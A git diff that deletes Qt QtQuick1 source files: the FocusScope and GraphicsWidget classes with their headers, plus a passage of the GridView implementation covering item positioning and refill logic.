/dev/null @@ -1,78 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/private/qdeclarativefocusscope_p.h" - -#include "QtQuick1/private/qdeclarativeitem_p.h" - -QT_BEGIN_NAMESPACE - - - -/*! - \qmlclass FocusScope QDeclarative1FocusScope - \inqmlmodule QtQuick 1 - \since QtQuick 1.0 - \ingroup qml-basic-interaction-elements - - \brief The FocusScope object explicitly creates a focus scope. - \inherits Item - - Focus scopes assist in keyboard focus handling when building reusable QML - components. All the details are covered in the - \l {qmlfocus}{keyboard focus documentation}. - - \sa {declarative/keyinteraction/focus}{Keyboard focus example} -*/ - -QDeclarative1FocusScope::QDeclarative1FocusScope(QDeclarativeItem *parent) : - QDeclarativeItem(parent) -{ - Q_D(QDeclarativeItem); - d->flags |= QGraphicsItem::ItemIsFocusScope; -} - -QDeclarative1FocusScope::~QDeclarative1FocusScope() -{ -} - - -QT_END_NAMESPACE diff --git a/src/qtquick1/graphicsitems/qdeclarativefocusscope_p.h b/src/qtquick1/graphicsitems/qdeclarativefocusscope_p.h deleted file mode 100644 index b61aed4b36..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativefocusscope_p.h +++ /dev/null @@ -1,68 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEFOCUSSCOPE_H -#define QDECLARATIVEFOCUSSCOPE_H - -#include "qdeclarativeitem.h" - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - - -//### set component root as focusscope -class Q_AUTOTEST_EXPORT QDeclarative1FocusScope : public QDeclarativeItem -{ - Q_OBJECT - Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarativeItem) -public: - QDeclarative1FocusScope(QDeclarativeItem *parent=0); - virtual ~QDeclarative1FocusScope(); -}; - -QT_END_NAMESPACE - -QML_DECLARE_TYPE(QDeclarative1FocusScope) - -QT_END_HEADER - -#endif // QDECLARATIVEFOCUSSCOPE_H diff --git a/src/qtquick1/graphicsitems/qdeclarativegraphicswidget.cpp b/src/qtquick1/graphicsitems/qdeclarativegraphicswidget.cpp deleted file mode 100644 index c6a3c4f08b..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativegraphicswidget.cpp +++ /dev/null @@ -1,129 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/private/qdeclarativegraphicswidget_p.h" -#include "QtQuick1/private/qdeclarativeanchors_p.h" -#include "QtQuick1/private/qdeclarativeitem_p.h" -#include "QtQuick1/private/qdeclarativeanchors_p_p.h" - -QT_BEGIN_NAMESPACE - - - -class QDeclarative1GraphicsWidgetPrivate : public QObjectPrivate { - Q_DECLARE_PUBLIC(QDeclarative1GraphicsWidget) -public : - QDeclarative1GraphicsWidgetPrivate() : - _anchors(0), _anchorLines(0) - {} - QDeclarativeItemPrivate::AnchorLines *anchorLines() const; - QDeclarative1Anchors *_anchors; - mutable QDeclarativeItemPrivate::AnchorLines *_anchorLines; -}; - -QDeclarative1GraphicsWidget::QDeclarative1GraphicsWidget(QObject *parent) : - QObject(*new QDeclarative1GraphicsWidgetPrivate, parent) -{ -} -QDeclarative1GraphicsWidget::~QDeclarative1GraphicsWidget() -{ - Q_D(QDeclarative1GraphicsWidget); - delete d->_anchorLines; d->_anchorLines = 0; - delete d->_anchors; d->_anchors = 0; -} - -QDeclarative1Anchors *QDeclarative1GraphicsWidget::anchors() -{ - Q_D(QDeclarative1GraphicsWidget); - if (!d->_anchors) - d->_anchors = new QDeclarative1Anchors(static_cast(parent())); - return d->_anchors; -} - -QDeclarativeItemPrivate::AnchorLines *QDeclarative1GraphicsWidgetPrivate::anchorLines() const -{ - Q_Q(const QDeclarative1GraphicsWidget); - if (!_anchorLines) - _anchorLines = new QDeclarativeItemPrivate::AnchorLines(static_cast(q->parent())); - return _anchorLines; -} - -QDeclarative1AnchorLine QDeclarative1GraphicsWidget::left() const -{ - Q_D(const QDeclarative1GraphicsWidget); - return d->anchorLines()->left; -} - -QDeclarative1AnchorLine QDeclarative1GraphicsWidget::right() const -{ - Q_D(const QDeclarative1GraphicsWidget); - return d->anchorLines()->right; -} - -QDeclarative1AnchorLine QDeclarative1GraphicsWidget::horizontalCenter() const -{ - Q_D(const QDeclarative1GraphicsWidget); - return d->anchorLines()->hCenter; -} - -QDeclarative1AnchorLine QDeclarative1GraphicsWidget::top() const -{ - Q_D(const QDeclarative1GraphicsWidget); - return d->anchorLines()->top; -} - -QDeclarative1AnchorLine QDeclarative1GraphicsWidget::bottom() const -{ - Q_D(const QDeclarative1GraphicsWidget); - return d->anchorLines()->bottom; -} - -QDeclarative1AnchorLine QDeclarative1GraphicsWidget::verticalCenter() const -{ - Q_D(const QDeclarative1GraphicsWidget); - return d->anchorLines()->vCenter; -} - - - -QT_END_NAMESPACE - -#include diff --git a/src/qtquick1/graphicsitems/qdeclarativegraphicswidget_p.h b/src/qtquick1/graphicsitems/qdeclarativegraphicswidget_p.h deleted file mode 100644 index da1c629d9d..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativegraphicswidget_p.h +++ /dev/null @@ -1,89 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEGRAPHICSWIDGET_P_H -#define QDECLARATIVEGRAPHICSWIDGET_P_H - -#include -#include - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - - -class QGraphicsObject; -class QDeclarative1AnchorLine; -class QDeclarative1Anchors; -class QDeclarative1GraphicsWidgetPrivate; - -// ### TODO can the extension object be the anchor directly? We save one allocation -> awesome. -class QDeclarative1GraphicsWidget : public QObject -{ - Q_OBJECT - Q_PROPERTY(QDeclarative1Anchors * anchors READ anchors DESIGNABLE false CONSTANT FINAL) - Q_PROPERTY(QDeclarative1AnchorLine left READ left CONSTANT FINAL) - Q_PROPERTY(QDeclarative1AnchorLine right READ right CONSTANT FINAL) - Q_PROPERTY(QDeclarative1AnchorLine horizontalCenter READ horizontalCenter CONSTANT FINAL) - Q_PROPERTY(QDeclarative1AnchorLine top READ top CONSTANT FINAL) - Q_PROPERTY(QDeclarative1AnchorLine bottom READ bottom CONSTANT FINAL) - Q_PROPERTY(QDeclarative1AnchorLine verticalCenter READ verticalCenter CONSTANT FINAL) - // ### TODO : QGraphicsWidget don't have a baseline concept yet. - //Q_PROPERTY(QDeclarative1AnchorLine baseline READ baseline CONSTANT FINAL) -public: - QDeclarative1GraphicsWidget(QObject *parent = 0); - ~QDeclarative1GraphicsWidget(); - QDeclarative1Anchors *anchors(); - QDeclarative1AnchorLine left() const; - QDeclarative1AnchorLine right() const; - QDeclarative1AnchorLine horizontalCenter() const; - QDeclarative1AnchorLine top() const; - QDeclarative1AnchorLine bottom() const; - QDeclarative1AnchorLine verticalCenter() const; - Q_DISABLE_COPY(QDeclarative1GraphicsWidget) - Q_DECLARE_PRIVATE(QDeclarative1GraphicsWidget) -}; - -QT_END_NAMESPACE - -QT_END_HEADER - -#endif // QDECLARATIVEGRAPHICSWIDGET_P_H diff --git a/src/qtquick1/graphicsitems/qdeclarativegridview.cpp b/src/qtquick1/graphicsitems/qdeclarativegridview.cpp deleted file mode 100644 index dd002e5b6c..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativegridview.cpp +++ /dev/null @@ -1,3174 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/private/qdeclarativegridview_p.h" - -#include "QtQuick1/private/qdeclarativevisualitemmodel_p.h" -#include "QtQuick1/private/qdeclarativeflickable_p_p.h" - -#include "QtQuick1/private/qdeclarativesmoothedanimation_p_p.h" -#include - -#include - -#include -#include -#include "qplatformdefs.h" - -QT_BEGIN_NAMESPACE - -#ifndef QML_FLICK_SNAPONETHRESHOLD -#define QML_FLICK_SNAPONETHRESHOLD 30 -#endif - -//---------------------------------------------------------------------------- - -class FxGridItem1 -{ -public: - FxGridItem1(QDeclarativeItem *i, QDeclarative1GridView *v) : item(i), view(v) { - attached = static_cast(qmlAttachedPropertiesObject(item)); - if (attached) - attached->setView(view); - } - ~FxGridItem1() {} - - qreal rowPos() const { - qreal rowPos = 0; - if (view->flow() == QDeclarative1GridView::LeftToRight) { - rowPos = item->y(); - } else { - if (view->effectiveLayoutDirection() == Qt::RightToLeft) - rowPos = -view->cellWidth()-item->x(); - else - rowPos = item->x(); - } - return rowPos; - } - qreal colPos() const { - qreal colPos = 0; - if (view->flow() == QDeclarative1GridView::LeftToRight) { - if (view->effectiveLayoutDirection() == Qt::RightToLeft) { - int colSize = view->cellWidth(); - int columns = view->width()/colSize; - colPos = colSize * (columns-1) - item->x(); - } else { - colPos = item->x(); - } - } else { - colPos = item->y(); - } - - return colPos; - } - - qreal endRowPos() const { - if (view->flow() == QDeclarative1GridView::LeftToRight) { - return item->y() + view->cellHeight() - 1; - } else { - if (view->effectiveLayoutDirection() == Qt::RightToLeft) - return -item->x() - 1; - else - return item->x() + view->cellWidth() - 1; - } - } - void setPosition(qreal col, qreal row) { - if (view->effectiveLayoutDirection() == Qt::RightToLeft) { - if (view->flow() == QDeclarative1GridView::LeftToRight) { - int columns = view->width()/view->cellWidth(); - item->setPos(QPointF((view->cellWidth() * (columns-1) - col), row)); - } else { - item->setPos(QPointF(-view->cellWidth()-row, col)); - } - } else { - if (view->flow() == QDeclarative1GridView::LeftToRight) - item->setPos(QPointF(col, row)); - else - item->setPos(QPointF(row, col)); - } - - } - bool contains(qreal x, qreal y) const { - return (x >= item->x() && x < item->x() + view->cellWidth() && - y >= item->y() && y < item->y() + view->cellHeight()); - } - - QDeclarativeItem *item; - QDeclarative1GridView *view; - QDeclarative1GridViewAttached *attached; - int index; -}; - -//---------------------------------------------------------------------------- - -class QDeclarative1GridViewPrivate : public QDeclarative1FlickablePrivate -{ - Q_DECLARE_PUBLIC(QDeclarative1GridView) - -public: - QDeclarative1GridViewPrivate() - : currentItem(0), layoutDirection(Qt::LeftToRight), flow(QDeclarative1GridView::LeftToRight) - , visibleIndex(0) , currentIndex(-1) - , cellWidth(100), cellHeight(100), columns(1), requestedIndex(-1), itemCount(0) - , highlightRangeStart(0), highlightRangeEnd(0) - , highlightRangeStartValid(false), highlightRangeEndValid(false) - , highlightRange(QDeclarative1GridView::NoHighlightRange) - , highlightComponent(0), highlight(0), trackedItem(0) - , moveReason(Other), buffer(0), highlightXAnimator(0), highlightYAnimator(0) - , highlightMoveDuration(150) - , footerComponent(0), footer(0), headerComponent(0), header(0) - , bufferMode(BufferBefore | BufferAfter), snapMode(QDeclarative1GridView::NoSnap) - , ownModel(false), wrap(false), autoHighlight(true) - , fixCurrentVisibility(false), lazyRelease(false), layoutScheduled(false) - , deferredRelease(false), haveHighlightRange(false), currentIndexCleared(false) {} - - void init(); - void clear(); - FxGridItem1 *createItem(int modelIndex); - void releaseItem(FxGridItem1 *item); - void refill(qreal from, qreal to, bool doBuffer=false); - - void updateGrid(); - void scheduleLayout(); - void layout(); - void updateUnrequestedIndexes(); - void updateUnrequestedPositions(); - void updateTrackedItem(); - void createHighlight(); - void updateHighlight(); - void updateCurrent(int modelIndex); - void updateHeader(); - void updateFooter(); - void fixupPosition(); - - FxGridItem1 *visibleItem(int modelIndex) const { - if (modelIndex >= visibleIndex && modelIndex < visibleIndex + visibleItems.count()) { - for (int i = modelIndex - visibleIndex; i < visibleItems.count(); ++i) { - FxGridItem1 *item = visibleItems.at(i); - if (item->index == modelIndex) - return item; - } - } - return 0; - } - - bool isRightToLeftTopToBottom() const { - Q_Q(const QDeclarative1GridView); - return flow == QDeclarative1GridView::TopToBottom && q->effectiveLayoutDirection() == Qt::RightToLeft; - } - - void regenerate() { - Q_Q(QDeclarative1GridView); - if (q->isComponentComplete()) { - clear(); - updateGrid(); - setPosition(0); - q->refill(); - updateCurrent(currentIndex); - } - } - - void mirrorChange() { - Q_Q(QDeclarative1GridView); - regenerate(); - emit q->effectiveLayoutDirectionChanged(); - } - - qreal position() const { - Q_Q(const QDeclarative1GridView); - return flow == QDeclarative1GridView::LeftToRight ? q->contentY() : q->contentX(); - } - void setPosition(qreal pos) { - Q_Q(QDeclarative1GridView); - if (flow == QDeclarative1GridView::LeftToRight) { - q->QDeclarative1Flickable::setContentY(pos); - q->QDeclarative1Flickable::setContentX(0); - } else { - if (q->effectiveLayoutDirection() == Qt::LeftToRight) - q->QDeclarative1Flickable::setContentX(pos); - else - q->QDeclarative1Flickable::setContentX(-pos-size()); - q->QDeclarative1Flickable::setContentY(0); - } - } - int size() const { - Q_Q(const QDeclarative1GridView); - return flow == QDeclarative1GridView::LeftToRight ? q->height() : q->width(); - } - qreal originPosition() const { - qreal pos = 0; - if (!visibleItems.isEmpty()) - pos = visibleItems.first()->rowPos() - visibleIndex / columns * rowSize(); - return pos; - } - - qreal lastPosition() const { - qreal pos = 0; - if (model && model->count()) - pos = rowPosAt(model->count() - 1) + rowSize(); - return pos; - } - - qreal startPosition() const { - return isRightToLeftTopToBottom() ? -lastPosition()+1 : originPosition(); - } - - qreal endPosition() const { - return isRightToLeftTopToBottom() ? -originPosition()+1 : lastPosition(); - - } - - bool isValid() const { - return model && model->count() && model->isValid(); - } - - int rowSize() const { - return flow == QDeclarative1GridView::LeftToRight ? cellHeight : cellWidth; - } - int colSize() const { - return flow == QDeclarative1GridView::LeftToRight ? cellWidth : cellHeight; - } - - qreal colPosAt(int modelIndex) const { - if (FxGridItem1 *item = visibleItem(modelIndex)) - return item->colPos(); - if (!visibleItems.isEmpty()) { - if (modelIndex < visibleIndex) { - int count = (visibleIndex - modelIndex) % columns; - int col = visibleItems.first()->colPos() / colSize(); - col = (columns - count + col) % columns; - return col * colSize(); - } else { - int count = columns - 1 - (modelIndex - visibleItems.last()->index - 1) % columns; - return visibleItems.last()->colPos() - count * colSize(); - } - } else { - return (modelIndex % columns) * colSize(); - } - return 0; - } - qreal rowPosAt(int modelIndex) const { - if (FxGridItem1 *item = visibleItem(modelIndex)) - return item->rowPos(); - if (!visibleItems.isEmpty()) { - if (modelIndex < visibleIndex) { - int firstCol = visibleItems.first()->colPos() / colSize(); - int col = visibleIndex - modelIndex + (columns - firstCol - 1); - int rows = col / columns; - return visibleItems.first()->rowPos() - rows * rowSize(); - } else { - int count = modelIndex - visibleItems.last()->index; - int col = visibleItems.last()->colPos() + count * colSize(); - int rows = col / (columns * colSize()); - return visibleItems.last()->rowPos() + rows * rowSize(); - } - } else { - qreal pos = (modelIndex / columns) * rowSize(); - if (header) - pos += headerSize(); - return pos; - } - return 0; - } - - FxGridItem1 *firstVisibleItem() const { - const qreal pos = isRightToLeftTopToBottom() ? -position()-size() : position(); - for (int i = 0; i < visibleItems.count(); ++i) { - FxGridItem1 *item = visibleItems.at(i); - if (item->index != -1 && item->endRowPos() > pos) - return item; - } - return visibleItems.count() ? visibleItems.first() : 0; - } - - int lastVisibleIndex() const { - for (int i = 0; i < visibleItems.count(); ++i) { - FxGridItem1 *item = visibleItems.at(i); - if (item->index != -1) - return item->index; - } - return -1; - } - - // Map a model index to visibleItems list index. - // These may differ if removed items are still present in the visible list, - // e.g. doing a removal animation - int mapFromModel(int modelIndex) const { - if (modelIndex < visibleIndex || modelIndex >= visibleIndex + visibleItems.count()) - return -1; - for (int i = 0; i < visibleItems.count(); ++i) { - FxGridItem1 *listItem = visibleItems.at(i); - if (listItem->index == modelIndex) - return i + visibleIndex; - if (listItem->index > modelIndex) - return -1; - } - return -1; // Not in visibleList - } - - qreal snapPosAt(qreal pos) const { - Q_Q(const QDeclarative1GridView); - qreal snapPos = 0; - if (!visibleItems.isEmpty()) { - qreal highlightStart = isRightToLeftTopToBottom() && highlightRangeStartValid ? size()-highlightRangeEnd : highlightRangeStart; - pos += highlightStart; - pos += rowSize()/2; - snapPos = visibleItems.first()->rowPos() - visibleIndex / columns * rowSize(); - snapPos = pos - fmodf(pos - snapPos, qreal(rowSize())); - snapPos -= highlightStart; - qreal maxExtent; - qreal minExtent; - if (isRightToLeftTopToBottom()) { - maxExtent = q->minXExtent(); - minExtent = q->maxXExtent(); - } else { - maxExtent = flow == QDeclarative1GridView::LeftToRight ? -q->maxYExtent() : -q->maxXExtent(); - minExtent = flow == QDeclarative1GridView::LeftToRight ? -q->minYExtent() : -q->minXExtent(); - } - if (snapPos > maxExtent) - snapPos = maxExtent; - if (snapPos < minExtent) - snapPos = minExtent; - } - return snapPos; - } - - FxGridItem1 *snapItemAt(qreal pos) { - for (int i = 0; i < visibleItems.count(); ++i) { - FxGridItem1 *item = visibleItems[i]; - if (item->index == -1) - continue; - qreal itemTop = item->rowPos(); - if (itemTop+rowSize()/2 >= pos && itemTop - rowSize()/2 <= pos) - return item; - } - return 0; - } - - int snapIndex() { - int index = currentIndex; - for (int i = 0; i < visibleItems.count(); ++i) { - FxGridItem1 *item = visibleItems[i]; - if (item->index == -1) - continue; - qreal itemTop = item->rowPos(); - if (itemTop >= highlight->rowPos()-rowSize()/2 && itemTop < highlight->rowPos()+rowSize()/2) { - index = item->index; - if (item->colPos() >= highlight->colPos()-colSize()/2 && item->colPos() < highlight->colPos()+colSize()/2) - return item->index; - } - } - return index; - } - - qreal headerSize() const { - if (!header) - return 0.0; - - return flow == QDeclarative1GridView::LeftToRight - ? header->item->height() - : header->item->width(); - } - - - virtual void itemGeometryChanged(QDeclarativeItem *item, const QRectF &newGeometry, const QRectF &oldGeometry) { - Q_Q(const QDeclarative1GridView); - QDeclarative1FlickablePrivate::itemGeometryChanged(item, newGeometry, oldGeometry); - if (item == q) { - if (newGeometry.height() != oldGeometry.height() - || newGeometry.width() != oldGeometry.width()) { - if (q->isComponentComplete()) { - updateGrid(); - scheduleLayout(); - } - } - } else if ((header && header->item == item) || (footer && footer->item == item)) { - if (header) - updateHeader(); - if (footer) - updateFooter(); - } - } - - void positionViewAtIndex(int index, int mode); - virtual void fixup(AxisData &data, qreal minExtent, qreal maxExtent); - virtual void flick(AxisData &data, qreal minExtent, qreal maxExtent, qreal vSize, - QDeclarative1TimeLineCallback::Callback fixupCallback, qreal velocity); - - // for debugging only - void checkVisible() const { - int skip = 0; - for (int i = 0; i < visibleItems.count(); ++i) { - FxGridItem1 *listItem = visibleItems.at(i); - if (listItem->index == -1) { - ++skip; - } else if (listItem->index != visibleIndex + i - skip) { - for (int j = 0; j < visibleItems.count(); j++) - qDebug() << " index" << j << "item index" << visibleItems.at(j)->index; - qFatal("index %d %d %d", visibleIndex, i, listItem->index); - } - } - } - - QDeclarativeGuard model; - QVariant modelVariant; - QList visibleItems; - QHash unrequestedItems; - FxGridItem1 *currentItem; - Qt::LayoutDirection layoutDirection; - QDeclarative1GridView::Flow flow; - int visibleIndex; - int currentIndex; - int cellWidth; - int cellHeight; - int columns; - int requestedIndex; - int itemCount; - qreal highlightRangeStart; - qreal highlightRangeEnd; - bool highlightRangeStartValid; - bool highlightRangeEndValid; - QDeclarative1GridView::HighlightRangeMode highlightRange; - QDeclarativeComponent *highlightComponent; - FxGridItem1 *highlight; - FxGridItem1 *trackedItem; - enum MovementReason { Other, SetIndex, Mouse }; - MovementReason moveReason; - int buffer; - QSmoothedAnimation_1 *highlightXAnimator; - QSmoothedAnimation_1 *highlightYAnimator; - int highlightMoveDuration; - QDeclarativeComponent *footerComponent; - FxGridItem1 *footer; - QDeclarativeComponent *headerComponent; - FxGridItem1 *header; - enum BufferMode { NoBuffer = 0x00, BufferBefore = 0x01, BufferAfter = 0x02 }; - int bufferMode; - QDeclarative1GridView::SnapMode snapMode; - - bool ownModel : 1; - bool wrap : 1; - bool autoHighlight : 1; - bool fixCurrentVisibility : 1; - bool lazyRelease : 1; - bool layoutScheduled : 1; - bool deferredRelease : 1; - bool haveHighlightRange : 1; - bool currentIndexCleared : 1; -}; - -void QDeclarative1GridViewPrivate::init() -{ - Q_Q(QDeclarative1GridView); - QObject::connect(q, SIGNAL(movementEnded()), q, SLOT(animStopped())); - q->setFlag(QGraphicsItem::ItemIsFocusScope); - q->setFlickableDirection(QDeclarative1Flickable::VerticalFlick); - addItemChangeListener(this, Geometry); -} - -void QDeclarative1GridViewPrivate::clear() -{ - for (int i = 0; i < visibleItems.count(); ++i) - releaseItem(visibleItems.at(i)); - visibleItems.clear(); - visibleIndex = 0; - releaseItem(currentItem); - currentItem = 0; - createHighlight(); - trackedItem = 0; - itemCount = 0; -} - -FxGridItem1 *QDeclarative1GridViewPrivate::createItem(int modelIndex) -{ - Q_Q(QDeclarative1GridView); - // create object - requestedIndex = modelIndex; - FxGridItem1 *listItem = 0; - if (QDeclarativeItem *item = model->item(modelIndex, false)) { - listItem = new FxGridItem1(item, q); - listItem->index = modelIndex; - if (model->completePending()) { - // complete - listItem->item->setZValue(1); - listItem->item->setParentItem(q->contentItem()); - model->completeItem(); - } else { - listItem->item->setParentItem(q->contentItem()); - } - unrequestedItems.remove(listItem->item); - } - requestedIndex = -1; - return listItem; -} - - -void QDeclarative1GridViewPrivate::releaseItem(FxGridItem1 *item) -{ - Q_Q(QDeclarative1GridView); - if (!item || !model) - return; - if (trackedItem == item) { - QObject::disconnect(trackedItem->item, SIGNAL(yChanged()), q, SLOT(trackedPositionChanged())); - QObject::disconnect(trackedItem->item, SIGNAL(xChanged()), q, SLOT(trackedPositionChanged())); - trackedItem = 0; - } - if (model->release(item->item) == 0) { - // item was not destroyed, and we no longer reference it. - unrequestedItems.insert(item->item, model->indexOf(item->item, q)); - } - delete item; -} - -void QDeclarative1GridViewPrivate::refill(qreal from, qreal to, bool doBuffer) -{ - Q_Q(QDeclarative1GridView); - if (!isValid() || !q->isComponentComplete()) - return; - itemCount = model->count(); - qreal bufferFrom = from - buffer; - qreal bufferTo = to + buffer; - qreal fillFrom = from; - qreal fillTo = to; - if (doBuffer && (bufferMode & BufferAfter)) - fillTo = bufferTo; - if (doBuffer && (bufferMode & BufferBefore)) - fillFrom = bufferFrom; - - bool changed = false; - - int colPos = colPosAt(visibleIndex); - int rowPos = rowPosAt(visibleIndex); - int modelIndex = visibleIndex; - if (visibleItems.count()) { - rowPos = visibleItems.last()->rowPos(); - colPos = visibleItems.last()->colPos() + colSize(); - if (colPos > colSize() * (columns-1)) { - colPos = 0; - rowPos += rowSize(); - } - int i = visibleItems.count() - 1; - while (i > 0 && visibleItems.at(i)->index == -1) - --i; - modelIndex = visibleItems.at(i)->index + 1; - } - - if (visibleItems.count() && (fillFrom > rowPos + rowSize()*2 - || fillTo < rowPosAt(visibleIndex) - rowSize())) { - // We've jumped more than a page. Estimate which items are now - // visible and fill from there. - int count = (fillFrom - (rowPos + rowSize())) / (rowSize()) * columns; - for (int i = 0; i < visibleItems.count(); ++i) - releaseItem(visibleItems.at(i)); - visibleItems.clear(); - modelIndex += count; - if (modelIndex >= model->count()) - modelIndex = model->count() - 1; - else if (modelIndex < 0) - modelIndex = 0; - modelIndex = modelIndex / columns * columns; - visibleIndex = modelIndex; - colPos = colPosAt(visibleIndex); - rowPos = rowPosAt(visibleIndex); - } - - int colNum = colPos / colSize(); - - FxGridItem1 *item = 0; - - // Item creation and release is staggered in order to avoid - // creating/releasing multiple items in one frame - // while flicking (as much as possible). - while (modelIndex < model->count() && rowPos <= fillTo + rowSize()*(columns - colNum)/(columns+1)) { -// qDebug() << "refill: append item" << modelIndex; - if (!(item = createItem(modelIndex))) - break; - item->setPosition(colPos, rowPos); - visibleItems.append(item); - colPos += colSize(); - colNum++; - if (colPos > colSize() * (columns-1)) { - colPos = 0; - colNum = 0; - rowPos += rowSize(); - } - ++modelIndex; - changed = true; - if (doBuffer) // never buffer more than one item per frame - break; - } - - if (visibleItems.count()) { - rowPos = visibleItems.first()->rowPos(); - colPos = visibleItems.first()->colPos() - colSize(); - if (colPos < 0) { - colPos = colSize() * (columns - 1); - rowPos -= rowSize(); - } - } - colNum = colPos / colSize(); - while (visibleIndex > 0 && rowPos + rowSize() - 1 >= fillFrom - rowSize()*(colNum+1)/(columns+1)){ -// qDebug() << "refill: prepend item" << visibleIndex-1 << "top pos" << rowPos << colPos; - if (!(item = createItem(visibleIndex-1))) - 